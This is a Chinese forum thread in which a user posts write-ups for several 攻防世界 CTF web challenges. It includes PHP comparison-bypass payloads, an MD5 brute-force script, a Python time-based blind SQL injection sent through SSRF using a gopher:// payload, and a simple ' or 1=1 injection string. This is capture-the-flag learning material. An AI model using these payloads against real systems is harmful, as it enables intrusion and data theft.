alglsf666 发表于 2024-4-14 18:55:29

攻防世界Web题目的wp

本帖最后由 alglsf666 于 2024-4-14 20:07 编辑

1.easyphp:
      a又要大于6000000又要小于等于3位,直接1e9;
      这道题主要分为两部分,第一部分为$a 和$b的判断,很简单
      
      if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){//长度不大于3 但是又需要大于6000000 通过科学计数法绕过,赋值$a=9e9
            if(isset($b) && '8b184b' === substr(md5($b),-6,6)){ //直接通过脚本跑出来即可。如下脚本 $b=53724
                $key1 = 1;
                }else{
                  die("Emmm...再想想");
                }
            }else{
            die("Emmm...");
      }
<?php
      for ($b=0; $b < 100000; $b++) {
         if(substr(md5($b),-6,6) ==='8b184b'){
               echo $b;
            }
       }
?>//结果:53724
            
      所以第一部分payload为:?a=9e9&b=53724
      
      第二部分
      
      $c=(array)json_decode(@$_GET['c']);//这一步最后再做,最后构造完毕后直接json_encode即可
      if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){ //$c需为数组。且存在m,m不能为数字,但是需大于2022.直接m赋值为2023a 即可。 当前$c = array( "m"=>'2023a');
            if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"])){ //$c 存在n为数组,n的值数量为2(非索引).n的第一个值为数组,(这里的0为索引)。得到数组$c = array("m"=>'2023a',"n"=>array(array(),0));
                $d = array_search("DGGJ", $c["n"]);//array_search 判断的方式相当于比较,判断$c["n"]中是否存在字符串"DGGJ",如果我们设置为0 .那么这个函数就会类型比较,从而将字符串转化为数值。而字符串"DGGJ"中无数字,故转为0.和我们的数组内容相同。返回true.进行下一步。
                $d === false?die("no..."):NULL;
                foreach($c["n"] as $key=>$val){
                  $val==="DGGJ"?die("no......"):NULL;//和上面判断相同。
                }
                $key2 = 1;
            }else{
                die("no hack");
            }
      }else{
            die("no");
      }//最后得到$c = array("m"=>'2023a',"n"=>array(array(),0)); 通过echo json_encode($c); 获取payload.
                {"m":"2023a","n":[[],0]}


      得到完整payload:?a=9e9&b=53724&c={"m":"2023a","n":[[],0]}


2.代码了注释掉了一个use.php,但是bp抓不到什么有用的
      只知道是SSRF,python搞起
      import urllib.parse
import requests
import time
import base64

url = "http://61.147.171.105:63397//use.php?url="#这里域名要改自己的
flag = ""
for pos in range(1, 50):
    for i in range(33, 127):
      poc = "') union select 1,2,if(ascii( substr((select * from flag)," + str(pos) + ",1) )=" + str(
            i) + ",sleep(2),1) # "
      bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
      final_poc = "gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D" + bs + "%3B%250d%250a"
      t1 = time.time()
      res = requests.get(url + final_poc)
      t2 = time.time()
      if (t2 - t1 > 2):
            flag += chr(i)
            print(flag)
            break
print(flag)

3.inget
      SQL注入:
      ?id=' or 1=1 -- +

alglsf666 发表于 2024-4-14 19:07:46

本帖最后由 alglsf666 于 2024-4-16 22:26 编辑

4.web2
      直接代码逆推
      <?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$miwen=base64_decode(strrev(str_rot13($miwen)));

$m=$miwen;

for($i=0;$i<strlen($m);$i++){
$_c=substr($m,$i,1);
$__=ord($_c)-1;
$__=chr($__);
$_=$_.$__;
}

echo strrev($_);

5.Robots
      访问robots.txt,看到f1ag_1s_h3re.php,再访问,得出flag

6.get_post
      get简单访问?a=1
      post要用表单
      <!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
    <h2>表单</h2>
    <form action="http://61.147.171.105:51280/?a=1" method="post">
      <label for="b">b:</label>
      <input type="text" id="b" name="b" required>
      <input type="submit" value="提交">
    </form>
</body>
</html>

后续有时间再发

H.U.C清风 发表于 2024-4-16 11:54:58

谢谢分享,已回复。
页: [1]
查看完整版本: 攻防世界Web题目的wp